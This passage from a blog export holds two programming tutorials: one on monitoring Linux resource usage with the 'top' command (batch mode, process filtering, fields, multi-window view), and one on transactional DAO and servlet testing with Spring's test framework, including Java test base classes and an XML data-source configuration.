important task. By doing this, we can locate system bottleneck, planning what to do to optimize our system, identifying memory leak and so on. The problem is, which software one should use and how to use it according to our need.<br />Among many monitoring tools that available, most people use "top" (a part of procps package). Top provide almost everything we need to monitor our system's resource usage within single shot. In this article, all the information are based on procps 3.2.5 running on top of Linux kernel 2.6.x<br /><br />Here, we assume that procps package is already installed and run well in your Linux system. No previous experience with top is needed here, but if you had given it a try briefly, that would be an advantage.<br /><br />Here are some challenges:<br /><br />A. Interactive or batch mode?<br />By default, top is invoked using interactive mode. In this mode, top runs indefinitely and accepts keypress to redefine how top works. But, sometimes you need to post-process the top's output and this is hardly achieved using this mode. The solution? Use batch mode.<br /><br />$ top -b<br /><br />You will get output like below:<br /><br />top - 15:22:45 up 4:19, 5 users, load average: 0.00, 0.03, 0.00<br />Tasks: 60 total, 1 running, 59 sleeping, 0 stopped, 0 zombie<br />Cpu(s): 3.8% us, 2.9% sy, 0.0% ni, 89.6% id, 3.3% wa, 0.4% hi, 0.0% si<br />Mem: 515896k total, 495572k used, 20324k free, 13936k buffers<br />Swap: 909676k total, 4k used, 909672k free, 377608k cached<br />PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND<br /> 1 root 16 0 1544 476 404 S 0.0 0.1 0:01.35 init<br /> 2 root 34 19 0 0 0 S 0.0 0.0 0:00.02 ksoftirqd/0<br /> 3 root 10 -5 0 0 0 S 0.0 0.0 0:00.11 events/0<br />Uh, wait, it runs repeatedly, just like interactive mode does. Don't worry, limit its repetition with -n. So, if you just want single shot, type:<br /><br />$ top -b -n 1<br />The real advantage of this mode is you can easily combine in with at or cron. Together, top can snapshot resource usage at certain time unattendedly. For example, using at, we can schedule top to run 1 minute later.<br /><br />$ cat ./test.at<br />TERM=linux top -b -n 1 >/tmp/top-report.txt<br />$ at -f ./test.at now+1minutes<br />Careful reader might ask "why do I need to set TERM environment before invoking top when creating new at job?". The answer is, top needs this variable set but unfortunately "at" isn't retained it from the time of invocation. Simply set it like above and top will work smoothly.<br /><br />B. How to monitor certain processes only?<br />Sometimes, we are only interested on several processes only, maybe just 4 or 5 of the whole existing processes. For example, if you want monitor process identifier (PID) 4360 and 4358, you type:<br /><br />$ top -p 4360,4358<br />OR<br />$ top -p 4360 -p 4358<br />Seems easy, just use -p and list all the PIDs you need, each separated with comma or simply use -p multiple times coupled with the target PID.<br /><br />Another possibility is just monitoring process with certain user identifier (UID). For this need, you can use -u or -U option. Assuming user "johndoe" has UID 500, you can type:<br /><br />$ top -u johndoe<br />OR<br />$ top -u 500<br />OR<br />$ top -U johndoe<br />The conclusion is, you can either use the plain user name or the numeric UID. "-u, -U? Those two are different?" Yes. Like almost any other GNU tools, options are case sensitive. -U means top will find matching effective, real, saved and filesystem UIDs, while -u just find matching effective user id. Just for reminder, every *nix process runs using effective UID and sometimes it isn't equal with real user ID. Most likely, one is interested in effective UID as filesystem permission and operating system capability are checked against it, not real UID.<br /><br />While -p is just command-line option only, both -U and -u can be used inside interactive mode. Like you guess, press 'U' or 'u' to filter the processes based on their user name. Same rule is applied, 'u' for effective UID and 'U' for real/effective/saved/filesystem user name. You will be asked to enter the user name or the numeric UID.<br /><br />{mospagebreak title=Fast or slow update?}<br />C. Fast or slow update?<br />Before we answer this question, let's take a short look on how top really works. Strace is your friend here:<br /><br />$ strace -o /tmp/trace.txt top -b -n 1<br />Use you favourite text editor and load /tmp/trace.txt. What do you think? A lot of jobs for single invocation, that is what I think and maybe you'll agree. One of the jobs top must do in every iteration is opening many files and parsing their contents, as shown by the number:<br /><br />$ grep open( /tmp/hasil.txt | wc -l<br />Just for illustration, in my Linux system, it yields 304. Closer look reveals that top iterates inside /proc directory to gather processes information. /proc itself is pseudo filesystem, meaning it doesn't exist on real disk but is created on the fly by the Linux kernel and live on RAM. Within directory such as /proc/2097 (2097 is a PID), Linux kernel exports information about related process and this is where top gathers processes information along with resource usage.<br /><br />Also try these:<br /><br />$ time top -b -n 1<br />This will give you illustration how fast top works on single round. In my system, this yields around 0.5-0.6 seconds. Look at "real" field, not the "user" or "system" field because "real" reflects the total time top needs to work.<br /><br />So, realizing this fact, it will be wise to use moderate update interval. Browsing RAM based filesystem takes time too, so be wise. As rule of thumb, 1 to 3 seconds interval is enough for most users. Use -d in command line option or press "s" inside interactive mode to set it. You can use fractional number as interval, e.g: 2.5, 4.1 and so on<br /><br />When we should faster than 1 seconds?<br /><br />You need more samples during a time. For this need, better use batch mode and redirect standart output to a file so you can analyze it better.<br />You don't mind with extra CPU load carried by top. Yes, it is small but it is still a load. If your Linux system is relatively idle, feel free to use short interval, but if not, better preserve your CPU time for more important task.<br />One way to reduce top's work is by monitoring certain PIDs only. This way, top won't need to traverse all the /proc sub-directory. How about user name filtering? It won't do any good. User name filtering brings extra work for top, thus combining it with very short interval will increase CPU load.<br /><br />Of course, whenever you need to force the update, just press Space and top will refresh the statistic right away.<br /><br />{mospagebreak title=Fields we need}<br />D. Fields that we need<br />By default, top starts by showing the following task's property:<br /><br />Field Description<br />PID : Process ID<br />USER : Effective User ID<br />PR : Dynamic priority<br />NI : Nice value, also known as base priority<br />VIRT : Virtual Size of the task. This includes the size of process's executable binary, the data area and all the loaded shared libraries.<br />RES : The size of RAM currently consumed by the task. Swapped out portion of the task is not included.<br />SHR : Some memory areas could be shared between two or more task, this field reflects that shared areas. The example of shared area are shared library and SysV shared memory.<br />S : Task status<br />%CPU : The percentage of CPU time dedicated to run the task since the last top's screen update.<br />%MEM : The percentage of RAM currently consumed by the task.<br />TIME+ : The total CPU time the task has been used since it started. "+" sign means it is displayed with hundreth of a second granularity. By default, TIME/TIME+ doesn't account the CPU time used by the task's dead children.<br />COMMAND : Showing program names.<br />But, there are more. Here, I will just explain fields that might interest you:<br /><br />Field Description<br />nFLT (key 'u') <br />Number of major page fault since the process is started. Technically, page fault happens when the task access a non existant page in its address space. A page fault is said as "major" if kernel needs to access the disk to make the page available. On the contrary, soft minor page fault means the kernel only need to allocate pages in RAM without reading anything from disk.<br /><br />For illustration, consider the size of program ABC is 8 kB and assume the page size is 4 kB. When the program is fully loaded to RAM, there will be 2 times major page fault (2 * 4 kB). The program itself allocates another 8 kB for temporary data storage in RAM. Thus, there will be 2 minor page fault.<br /><br />A high number of nFLT could mean:<br /><br />The task is aggressively load some portions of its executable or library from the disk.<br />The task is accessing a page that is swapped ou<br />It is normal if you see a high number of major page fault when a program is run for first time. On the next invocations, buffer is utilized so likely you will see "0" or low number of nFLT. But, if a program is continously triggerring major page fault, big chance your program needs larger RAM size than currently installed.<br /><br />nDRT (key 'v') <br />The number of dirty pages since they are written back to the disk.<br /><br />Maybe you wonder, what is dirty page? First, a little bac ground. As you know, Linux employ caching mechanism, so everything that is read from disk is also cached in RAM. The advantage of this action is, subsequent read to the same disk block can be served from RAM thus reading completes faster.<br /><br />But it also costs something. If the buffer's content is modified, it needs to be synchronized. Thus, sooner or la this modified buffer (dirty page) must be written back. The failure on the synchronization might cause data inconsistency on related disk.<br /><br />On mostly idle to fairly loaded system, nDRT is usually below 10 (this is just a raw prediction)or mostly zero. If it is constantly bigger than that:<br /><br />The task is aggresively write something to file(s). It is so often that disk I/O can't keep up with it<br />The disk suffers I/O congestion, thus even the task only modifies small portion of file(s), it must wait a bit longer to be synchronized. Congestion happens when many processes access the disk at a time but cache hit is low.<br />These days, (1) unlikely happens because I/O speed is getting faster and less CPU demanding (thanks to DMA). So (2) has bigger probability.<br /><br />Note: On 2.6.x, this field is always zero without unknown reason.<br /><br />P (key 'j') <br />Last used CPU. This field only has meaning in SMP environment. SMP here refers to Hyperthread, multi core or true multi processor. If you just have one processor (non multi core, not HT), this field will always show '0'.<br /><br />In SMP system, don't be surprised if this field change sometimes. That means, the Linux kernel tries to move your task to the other CPU which is considered less loaded.<br /><br />CODE (key 'r') and DATA (key 's') <br />CODE simply reflects the size of your application code, while DATA reflects the size of data segment (stack, heap, variables but not shared libraries). Both are measured in kilobyte.<br /><br />DATA is useful to show how much your application allocates memory. Sometimes, it can also reveal memory leaks. Of course, you need better tool such as valgrind to differentiate between repetitive memory allocation or growing memory leaks if DATA continously climbs up.<br /><br />Note: DATA, CODE, SHR, SWAP, VIRT, RES are all measured in page size (4KB in Intel architecture). Read only data section is also calculated as CODE size, thus sometimes it is larger than the actual text (executable) segment.<br /><br />SWAP (key 'p') <br />The size of swapped out portion of a task's virtual memory image. This field is sometimes confusing, here is why:<br /><br />Logically, you would expect this field really shows whether your program is partially swapped out and how much. But the reality shows otherwise. Even the "Swap used" field shows 0, you will be surprised that SWAP field of each tasks show greater than zero number. So, what's wrong?<br /><br />This comes from the fact that top use this formula:<br /><br /><br /> VIRT = SWAP + RES or equal<br /> SWAP = VIRT - RES<br />As explained previously, VIRT includes anything inside task's address space, no matter it is in RAM, swapped out or still not loaded from disk. While RES represents total RAM consumed by this task. So, SWAP here means it represents the total amount of data being swapped out OR still not loaded from disk. Don't be fooled by the name, it doesn't just represent the swapped out data.<br /><br />To display the above fields, press 'f' inside the interactive mode. Then press the related key (mentioned above inside the parentheses). Those keys toggle the related fields, so press once to show it, press again to hide it. To find out whether the fields are displayed or not, simply watch the series of letters on the first line (at the right of "Current Fields"). Uppercase means the fields is shown, lower case means the opposite. Press Enter after you are satisfied with the selection.<br /><br />Sorting use similar way. Press 'O' (upper case) followed by a key representing the field. Don't worry if you don't remember the key map, top will show it. The new sort key will be marked with asterisk and the letter will change to upper case, so you can notice it easily. Press Enter after you are finished<br /><br />{mospagebreak title=Multi view are better than one?}<br />E. Multi view are better than one?<br />In different situations, sometimes we want to monitor different system property. For example, at one time you want to monitor %CPU and cpu time spent by all tasks. At another time, you want to monitor resident size and total page faults of all tasks. Rapidly press 'f' and change the visible fields? I don't think this is a smart choice.<br /><br />Why don't you use Multiple Windows mode? Press 'A' (upper case) to switch to multi windows view. By default, you will see 4 different set of field groups. Each field groups has a default label/name:<br /><br />1st field group: Def<br />2nd field group: Job<br />3rd field group: Mem<br />4th field group: Usr<br /><br />1st field group is the usual group you see in single window view, while the rest are hidden. Inside multi window mode, press 'a' or 'w' to cycle through all the available windows. Pay attention, switching to another window also change the active window (also known as current window). If you are not sure which one is currently the active one, just look at the first line of top's display (at the left of current time field). Another way to change active window is by pressing 'G' followed by windows number (1 to 4).<br /><br />Active window is the one which react to user input, so make sure to select your preferred window first before doing anything. After that, you can do anything exactly like you do in single window mode. Usually, what you want to do here is customizing field display, so just press 'f' and start customizing.<br /><br />If you think 4 is too much, just switch to a field group and press '-' to hide it. Please note, even you hide current field group, that doesn't mean you also change the active group. Press '-' once again to make current group visible.<br /><br />If you are done with multi window mode, press 'A' again. That also make active group as the new field group of single window mode.<br /><br />F. "How come there is only so few free memory on my Linux PC?"<br />Come to same question? No matter how much you put RAM in your motherboard, you quickly notice the free RAM is reduced so fast. Free RAM miscalculation? No!<br /><br />Before answering this, first check the memory summary located on the upper side of top's display (you may need to press 'm' to unhide it). There, you will find two fields: buffers and cached. "Buffers" represent how much portion of RAM is dedicated to cache disk block. "Cached" is similar like "Buffers", only this time it caches pages from file reading. For thorough understanding of those terms, refer to Linux kernel book like Linux Kernel Development by Robert M. Love.<br /><br />It is enough to understand that both "buffers" and "Cached" repre- sent the size of system cache. They dynamically grow or shrink as requested by internal Linux kernel mechanism.<br /><br />Besides consumed by cache, the RAM itself is also occupied by application data and code. So, to conclude, free RAM size here means RAM area that isn't occupied by cache nor application data/code. Generally, you can consider cache area as another "free" RAM since it will be shrunk gradually if the application demands more memory.<br /><br />On the task point of view, you might wonder which field truly represent memory consumption. VIRT field? certainly not! Recall that this field represent everything inside task address space, including the related shared libraries. After reading top source code and proc.txt (inside Documentation/filesystem folder of kernel source's tree), I conclude that RSS field is the best field describing task's memory consumption. I said "best" because you should consider it as approximation and isn't 100% accurate on all time.<br /><br />G. Working with many saved configurations<br />Wanna keep several different configuration of top so you can easily switch between preconfigured display? Just create symbolic link to the top binary (name it anything you like:<br /><br /># ln -s /usr/bin/top /usr/bin/top-a<br />Then run the new "top-a". Do the tweak and press 'W' to save the configuration. It will be saved under ~/.top-arc (the format is your top alias name+'rc').<br /><br />Now run the original top to load your first display alternative, top-a for the second one and so on.<br /><br />{mospagebreak title=Conclusion}<br />H. Conclusion<br />There are numerous tricks to use top more efficiently. The key is by knowing what you really need and possibly a little good understanding of Linux low level mechanism. The statistics isn't always correct, but at least it is helpful as a overall measurement. All these numbers are gathered from /proc, so make sure it is mounted first!<br /><br />Reference:<br /><br />Understanding The Linux Kernel, 2nd edition.<br />Documentation/filesystems/proc.txt inside kernel source tree.<br />Linux kernel source.Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com0tag:blogger.com,1999:blog-30018430.post-19119177280183806472011-01-13T14:36:00.002+08:002013-07-12T17:54:33.500+08:00Dive into Spring test framework - Part1I don't wanna repeat that how important is unittest to a developer, but in my expirence I found developers around me seldom write unit test, to say nothing of the spring test framework. <br />
I would like to share my knowledge about how to perform tests based on spring test framework, also it is a reminder to myself to keep walking.<br />
<br />
Spring framework<br />
In current world, almost all running or developing systems will follow MVC architectural style, in java world we will separate a system into about 4 layers: 'controller', 'service', 'domain', 'DAO'. <br />
Let me ask you a question, what is the biggest challenge when testing a 'DAO'? It is how to make database stay same state with before runnig test. If the state changed from the initial state of before running test, the tests will influence each other. When you run a single test again and again, you will get diffrent result, absolutely we should avoid it.<br />
By adopting spring test framework, we can easily rollback the transaction when finish a test. Actually spring will automatically rollback it(of course you can ask spring commit it), and each testcase will be the boundary of a transaction.<br />
One more question, do we need Mocker? it depends. When we test a service, do we need to mock a DAO instance then no need to access real database? no, I would like to always run tests against real database. OK, maybe you will say that's integration test, not unit test...the difference here isn't important, actually if the integration test passed, of course the unittest test(a Mock DAO) will pass.<br />
<pre>import java.math.BigDecimal;
import java.sql.Connection;
import java.text.SimpleDateFormat;
import java.util.Arrays;
import java.util.Date;
import java.util.List;
import java.util.UUID;
import javax.sql.DataSource;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.dbunit.database.DatabaseConfig;
import org.dbunit.database.DatabaseConnection;
import org.dbunit.database.IDatabaseConnection;
import org.dbunit.ext.oracle.OracleDataTypeFactory;
import org.springframework.test.AbstractTransactionalDataSourceSpringContextTests;
import com.mpos.lottery.te.common.encrypt.RsaCipher;
import com.mpos.lottery.te.config.MLotteryContext;
import com.mpos.lottery.te.config.dao.OperationParameterDao;
import com.mpos.lottery.te.config.dao.SysConfigurationDao;
import com.mpos.lottery.te.config.domain.LottoOperationParameter;
import com.mpos.lottery.te.config.domain.SysConfiguration;
import com.mpos.lottery.te.config.domain.logic.GameTypeBeanFactory;
import com.mpos.lottery.te.draw.dao.FunTypeDao;
import com.mpos.lottery.te.draw.dao.GameDrawDao;
import com.mpos.lottery.te.draw.domain.Game;
import com.mpos.lottery.te.draw.domain.GameDraw;
import com.mpos.lottery.te.draw.domain.LottoFunType;
import com.mpos.lottery.te.hasplicense.HASPManage;
import com.mpos.lottery.te.settlement.domain.SettlementReport;
import com.mpos.lottery.te.test.unittest.BaseUnitTest;
import com.mpos.lottery.te.ticket.domain.LottoEntry;
import com.mpos.lottery.te.ticket.domain.Ticket;
import com.mpos.lottery.te.ticket.domain.logic.lotto.BankerStrategy;
import com.mpos.lottery.te.ticket.domain.logic.lotto.BetOptionStrategy;
import com.mpos.lottery.te.ticket.domain.logic.lotto.MultipleStrategy;
import com.mpos.lottery.te.ticket.domain.logic.lotto.RollStrategy;
import com.mpos.lottery.te.ticket.domain.logic.lotto.SelectedNumber;
import com.mpos.lottery.te.ticket.domain.logic.lotto.SingleStrategy;
import com.mpos.lottery.te.trans.domain.Transaction;
import com.mpos.lottery.te.workingkey.domain.WorkingKey;
/**
* Looks like the test framework of spring for JPA only support JUnit 3.8...not
* ready for Junit4.X
*/
public class BaseTransactionTest extends AbstractTransactionalDataSourceSpringContextTests {
protected Log logger = LogFactory.getLog(BaseTransactionTest.class);
public static final String DATE_FORMAT = "yyyyMMddHHmmss";
/**
* About onXXX inherited from AbstractTransactionSprintContextTests for
* onSetUp() and onTearDown(), AbstractTransactionSprintContextTests has
* implemented logic which adopted template method pattern to invoke
* onSetUpXXX and onTearDownXXX. It means if you want override onSetUp() and
* onTearDown(), super.OnSetUp() and super.OnTearDown() must be invoked,
* otherwise spring won't invoke onSetUpXXX and onTearDownXXX(). You can
* completely override onSetUpXXX() and onTearDownXXX(), they are template
* methods.
* @see org.springframework.test.AbstractTransactionalSpringContextTests#onSetUp
* @see org.springframework.test.AbstractTransactionalSpringContextTests#onSetUpBeforeTransaction
* @see org.springframework.test.AbstractTransactionalSpringContextTests#onSetUpInTransaction
* @see org.springframework.test.AbstractTransactionalSpringContextTests#onTearDownInTransaction
* @see org.springframework.test.AbstractTransactionalSpringContextTests#onTearDownAfterTransaction
* @see org.springframework.test.AbstractTransactionalSpringContextTests#onTearDown
*/
public void onSetUp() throws Exception {
logger.info("------------------- onSetUp -------------------");
HASPManage.isChecked = false;
logger.info("Disable HASP key...");
this.initializeMLotteryContext();
// must invoke super.onSetUp(), new transaction will be created here,
// also will invoke template methods in order
super.onSetUp();
}
public void onTearDown() throws Exception {
logger.info("------------------- onTearDown -------------------");
// must invoke super.onTearDown(), transaction will be rolled back
// here, also will invoke template methods in order.
super.onTearDown();
}
public void onSetUpBeforeTransaction() throws Exception {
logger.info("------------------- onSetUpBeforeTransaction -------------------");
// Oops, i found use a sql file to load data into database is simpler
// that DBUnit,
// as we can query database directlly. If by DBUnit, we can query
// database only when committing a trasaction.
// use DBUnit to cleanup data first, or we can use
// this.deleteFromTables(String[] tableNames);
// IDatabaseConnection conn = this.getDataBaseConnection();
// try {
// // when delete, DBUnit will execute from last table to first table,
// // be
// // opposed to INSERT.
// DatabaseOperation.DELETE.execute(conn, new
// FlatXmlDataSetBuilder().build(this
// .getClass().getResourceAsStream("/testdata/oracle_test_union.xml")));
// DatabaseOperation.DELETE.execute(conn, new FlatXmlDataSetBuilder()
// .build(new InputSource(this.getClass().getResourceAsStream(
// "/testdata/oracle_test_common.xml"))));
// DatabaseOperation.INSERT.execute(conn, new FlatXmlDataSetBuilder()
// .build(new InputSource(this.getClass().getResourceAsStream(
// "/testdata/oracle_test_common.xml"))));
// DatabaseOperation.INSERT.execute(conn, new
// FlatXmlDataSetBuilder().build(this
// .getClass().getResourceAsStream("/testdata/oracle_test_union.xml")));
// } finally {
// // return the connection to pool
// DataSourceUtils.releaseConnection(conn.getConnection(),
// this.getJdbcTemplate()
// .getDataSource());
// }
}
public void onTearDownAfterTransaction() throws Exception {
this.logger.info("------------------- onTearDownAfterTransaction -------------------");
// // use DBUnit to cleanup data, or we can use
// // this.deleteFromTables(String[] tableNames);
// IDatabaseConnection conn = this.getDataBaseConnection();
// try {
// // when delete, DBUnit will execute from last table to first table,
// // be
// // opposed to INSERT.
// DatabaseOperation.DELETE.execute(conn, new
// FlatXmlDataSetBuilder().build(this
// .getClass().getResourceAsStream("/testdata/oracle_test_union.xml")));
// DatabaseOperation.DELETE.execute(conn, new FlatXmlDataSetBuilder()
// .build(new InputSource(this.getClass().getResourceAsStream(
// "/testdata/oracle_test_common.xml"))));
// } finally {
// // return the connection to pool
// DataSourceUtils.releaseConnection(conn.getConnection(),
// this.getJdbcTemplate()
// .getDataSource());
// }
logger.info("*** Finished cleanup test data ***");
}
public void onSetUpInTransaction() throws Exception {
logger.info("------------------- onSetUpInTransaction -------------------");
// this.executeSqlScript("testdata/oracle_masterdata.sql", false);
// this.executeSqlScript("/testdata/oracle_testdata.sql", false);
// this.executeSqlScript("/testdata/oracle_testdata_union.sql", false);
/**
* NOTE: In the original implementation, I invoke DBUnit.INSERT in
* onSetUpInTrransaction() and DBUnit.DELETE in
* onTearDownInTransaction(), it means DBUnit.INSERT and DBUnit.DELETE
* will be executed in the lifecycle of test transaction managed by
* Spring, then there is a chance that Spring test transaction will
* conflict with DBUnit transaction. Here is a case: 1) Sprint create a
* new transaction for testcase. 2) DBUnit.INSERT test data in
* onSetUpInTransaction(a new auto-commit transaction) 3)
* "this.getJdbcTemplate().execute('update GPE_KEY...'" which will
* update GPE_KEY in test transaction. 4) run test case. 5)
* DBUnit.DELETE test data in onTearDownInTransaction(a new auto-commit
* transaction). when DBUnit try to delete from GPE_KEY, it will be
* blocker forever, as the test transaction has hold the exclusive lock
* of row of GPE_KEY, and only will release after DBUnit.DELETE.... My
* conclusion is if we plan to use DBUnit in separated transaction, it
* is better to invoke DBUnit in onSetUpBeforeTransaction() and
* onTearDownAfterTransaction(). By this mean all transactions won't
* influence one another. The other solution is if use DBUnit in
* onTearDownInTransaction, we should invoke "this.endTransaction()"
* first which will rollback/commit transaction.
*/
SimpleDateFormat sdf = new SimpleDateFormat(WorkingKey.DATE_PATTERN);
this.getJdbcTemplate().execute(
"update GPE_KEY set create_time=sysdate,update_time=sysdate,create_date='"
+ sdf.format(new Date()) + "'");
logger.info("*** Finished preparing test data ***");
}
public void onTearDownInTransaction() throws Exception {
logger.info("------------------- onTearDownInTransaction -------------------");
}
protected IDatabaseConnection getDataBaseConnection() throws Exception {
DataSource ds = this.getJdbcTemplate().getDataSource();
/**
* Will retrieve connection from current transaction context, but due to
* TE will query te_sequence in a new connection, and at the same time
* DBUnit doesn't commit transaction(managed by Spring) yet, TE will
* fail to get sequence record. So DBUnit use a new connection which is
* different from the connection associated with spring transaction
* context to manipulate data. The disadvantage is you have to delete
* all those data when finish a test case and close connection manually.
*/
// Connection connection = DataSourceUtils.getConnection(ds);
Connection connection = ds.getConnection(); // a auto commit connection
// must set schema if the database user is DBA.
// Refer to com.mpos.lottery.te.test.util.DBUnitUtils
IDatabaseConnection conn = new DatabaseConnection(connection, "RAMONAL");
DatabaseConfig dbConfig = conn.getConfig();
dbConfig.setProperty(DatabaseConfig.PROPERTY_DATATYPE_FACTORY, new OracleDataTypeFactory());
return conn;
}
@Override
protected String[] getConfigLocations() {
/**
* If there are beans with same name in different configuration files,
* the last bean definition will overwrite the previous one. When do
* integration test, this feature will be a good facility. By defining a
* separated test spring configuration file, we can get a test
* environment, but no need to modify normal spring configuration file
* which will manage the production environment.
*/
return new String[] { "spring-service.xml", "spring-dao.xml", "spring-eig.xml",
"spring-raffle.xml" };
}
/**
* Convert java.util.Date to string, then compare the string of date. Due to
* the long value of java.util.Date is different from the long value of
* java.util.Date retrieved from database.
*/
protected String date2String(Date date) {
assert date != null : "Argument 'date' can not be null.";
SimpleDateFormat sdf = new SimpleDateFormat(DATE_FORMAT);
return sdf.format(date);
}
protected String uuid() {
UUID uuid = UUID.randomUUID();
String uuidStr = uuid.toString();
return uuidStr.replace("-", "");
}
protected SysConfiguration getSysConfiguration() {
SysConfigurationDao dao = this.getBean(SysConfigurationDao.class, "sysConfigurationDao");
return dao.getSysConfiguration();
}
protected String encryptSerialNo(String serialNo) {
String tmp = serialNo;
if (this.getSysConfiguration().isEncryptSerialNo()) {
tmp = RsaCipher.encrypt(BaseUnitTest.RSA_PUBLIC_KEY, serialNo);
}
return tmp;
}
protected void printMethod() {
StringBuffer lineBuffer = new StringBuffer("+");
for (int i = 0; i < 80; i++) {
lineBuffer.append("-");
}
lineBuffer.append("+");
String line = lineBuffer.toString();
// Get the test method. If index=0, it means get current method.
StackTraceElement eles[] = new Exception().getStackTrace();
// StackTraceElement eles[] = new Exception().getStackTrace();
// for (StackTraceElement ele : eles){
// System.out.println("class:" + ele.getClassName());
// System.out.println("method:" + ele.getMethodName());
// }
String className = eles[1].getClassName();
int index = className.lastIndexOf(".");
className = className.substring((index == -1 ? 0 : (index + 1)));
String method = className + "." + eles[1].getMethodName();
StringBuffer padding = new StringBuffer();
for (int i = 0; i < line.length(); i++) {
padding.append(" ");
}
System.out.println(line);
String methodSig = (method + padding.toString()).substring(0, line.length() - 3);
System.out.println("| " + methodSig + "|");
System.out.println(line);
}
protected <t> T getBean(Class<t> c, String beanName) {
return (T) this.getApplicationContext().getBean(beanName, c);
}
protected void initializeMLotteryContext() {
MLotteryContext.getInstance().setBeanFactory(this.getApplicationContext());
}
protected GameDraw getGameInstance(String drawNo, String gameId) {
GameDrawDao drawDao = this.getBean(GameDrawDao.class, "gameDrawDao");
GameDraw draw = drawDao.getByNumberAndGame(drawNo, gameId);
FunTypeDao funTypeDao = this.getBean(FunTypeDao.class, "lottoFunTypeDao");
LottoFunType funType = (LottoFunType) funTypeDao.getById(draw.getGame().getFunTypeId());
draw.getGame().setFunType(funType);
return draw;
}
protected BigDecimal calculateTicketAmount(Ticket ticket) throws Exception {
LottoFunType funType = (LottoFunType) ticket.getGameDraw().getGame().getFunType();
List<lottoentry> entries = ticket.getEntries();
long totalBets = 0;
for (LottoEntry entry : entries) {
int betOption = entry.getBetOption();
String numberFormat = MLotteryContext.getInstance().getLottoNumberFormat(betOption);
BetOptionStrategy strategy = null;
if (betOption == LottoEntry.BETOPTION_SINGLE) {
strategy = new SingleStrategy(numberFormat, funType);
} else if (betOption == LottoEntry.BETOPTION_MULTIPLE) {
strategy = new MultipleStrategy(ticket, numberFormat, funType);
} else if (betOption == LottoEntry.BETOPTION_BANKER) {
strategy = new BankerStrategy(numberFormat, funType);
} else if (betOption == LottoEntry.BETOPTION_ROLL) {
strategy = new RollStrategy(numberFormat, funType);
}
SelectedNumber sNumber = new SelectedNumber();
String numberParts[] = entry.getSelectNumber().split(SelectedNumber.DELEMETER_BASE);
sNumber.setBaseNumber(numberParts[0]);
if (numberParts.length == 2) {
sNumber.setSpecialNumber(numberParts[1]);
}
sNumber.setBaseNumbers(parseNumberPart(sNumber.getBaseNumber()));
sNumber.setSpecialNumbers(parseNumberPart(sNumber.getSpecialNumber()));
totalBets += strategy.getTotalBets(sNumber);
}
// get base amount
Game game = ticket.getGameDraw().getGame();
OperationParameterDao opDao = GameTypeBeanFactory.getOperatorParameterDao(game.getType());
LottoOperationParameter lop = (LottoOperationParameter) opDao.getById(game
.getOperatorParameterId());
return lop.getBaseAmount().multiply(new BigDecimal(totalBets));
}
protected int[] parseNumberPart(String numberPart) {
if (numberPart == null)
return null;
String strNumbers[] = numberPart.split(SelectedNumber.DELEMETER_NUMBER);
int numbers[] = new int[strNumbers.length];
for (int i = 0; i < numbers.length; i++) {
numbers[i] = Integer.parseInt(strNumbers[i]);
}
// Sorts the specified array of integers into ascending numerical order.
Arrays.sort(numbers);
return numbers;
}
}
</lottoentry></t></t></pre>
As we know, in a web application, Spring context will be stored in Servlet context, so we override the createApoplicationContext() method to meet our requirement, please check the method's comment.<br />
Now it is time to show a example, let's there is a servlet named HttpDispatchServlet, and we will write test case for it. Look at the sprint-service.xml first, as our test case will extend from BaseServletTest which extends from BaseTransactionTest, we must define a DataSource typed bean in spring context(spring will inject the DataSource instance into BaseTransactionTest automatically)<br />
<span class="Apple-style-span" style="font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"></span><br />
<table style="border-style: dotted;"><tbody>
<tr><td><pre><span class="lnr"> 1 </span><beans ...="">
<span class="lnr"> 2 </span> <bean class="net.mpos.lottery.httprmi.DefaultBookService" id="bookService"></bean>
<span class="lnr"> 3 </span> <bean class="org.springframework.jdbc.datasource.DriverManagerDataSource" id="dataSourceTarget">
<span class="lnr"> 4 </span> <property name="driverClassName" value="oracle.jdbc.driver.OracleDriver">
<span class="lnr"> 5 </span> <property name="url" value="jdbc:oracle:thin:@192.168.2.9:1521/orcl">
<span class="lnr"> 6 </span> <property name="username" value="ramonal">
<span class="lnr"> 7 </span> <property name="password" value="ramonal">
<span class="lnr"> 8 </span> </property></property></property></property></bean>
<span class="lnr"> 9 </span> <bean class="net.mpos.lottery.spring.MyDelegatingDataSource" id="dataSource">
<span class="lnr">10 </span> <property name="targetDataSource">
<span class="lnr">11 </span> <ref local="dataSourceTarget"></ref>
<span class="lnr">12 </span> </property>
<span class="lnr">13 </span> </bean>
<span class="lnr">14 </span> <bean class="org.springframework.jdbc.datasource.DataSourceTransactionManager" id="transactionManager">
<span class="lnr">15 </span> <property name="dataSource">
<span class="lnr">16 </span> <ref bean="dataSource"></ref>
<span class="lnr">17 </span> </property>
<span class="lnr">18 </span> </bean>
<span class="lnr">19 </span></beans>
</pre>
</td></tr>
</tbody></table>
<br />
When initialize spring context, you will get a exception: two intances of DataSource type...Here I will override the setDataSource() method in BaseTransactionTest class to fix it.<br />
<br />
<pre>/**
* As there are two DataSource typed instance in Spring context, we must
* override the parent method to set the Qualifier.
*/
public void setDataSource(@Qualifier("dataSource") DataSource dataSource){
super.setDataSource(dataSource);
}
</pre>
Let's look at HttpDispatchServletTest, how to implement it...
<br />
<pre>public class HttpDispatchServletTest extends BaseServletTest {
private HttpDispatchServlet servlet;
public void mySetUp() throws Exception{
super.mySetUp();
servlet = new HttpDispatchServlet();
servlet.init(config);
}
@Test
public void testDoPost_BookService_add_Encryption() throws Exception {
printMethod();
GSonUtils gson = new GSonUtils();
String reqContent = gson.toJson(DomainMocker.mockBook());
request.addHeader(HttpDispatchServlet.HEADER_RMI_TAG, "bookService.add");
request.addHeader(EncryptionHttpPackInterceptor.HEADER_MAC, HMacMd5Cipher.doDigest(
reqContent, HMacMd5CipherTest.MAC_KEY));
reqContent = TriperDESCipher.encrypt(TriperDesCipherTest.DES_KEY, reqContent);
request.setContent(reqContent.getBytes());
servlet.doPost(request, response);
// assert response
int status = response.getStatus();
assertEquals(200, status);
}
public void myTearDown(){
super.myTearDown();
servlet = null;
}
}
</pre>
OK, now you can run it from eclipse by 'run as junit test', No need tomcat.
<br />
<hr />
<br />
<ul>
</ul>
